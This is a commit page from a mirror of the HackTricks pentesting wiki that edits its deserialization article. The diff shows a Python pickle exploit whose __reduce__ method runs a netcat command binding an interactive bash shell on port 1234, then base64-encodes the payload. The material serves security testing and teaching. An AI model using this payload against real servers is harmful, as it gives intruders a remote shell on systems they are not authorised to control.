Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity

GitBook: [master] one page modified

Browse source
This commit is contained in:
CPol 2020-12-23 13:18:18 +00:00 committed by gitbook-bot
parent 10de8a64f9
commit 4dc467eefe
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
1 changed files with 2 additions and 2 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

4
pentesting-web/deserialization/README.md
View file

@ -85,11 +85,11 @@ When the object gets unpickle, the function _\_\_reduce\_\__ will be executed.
When exploited, server could return an error.
```python
import cPickle, os, base64
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(cPickle.dumps(P())))
print(base64.b64encode(pickle.dumps(P())))
```
## NodeJS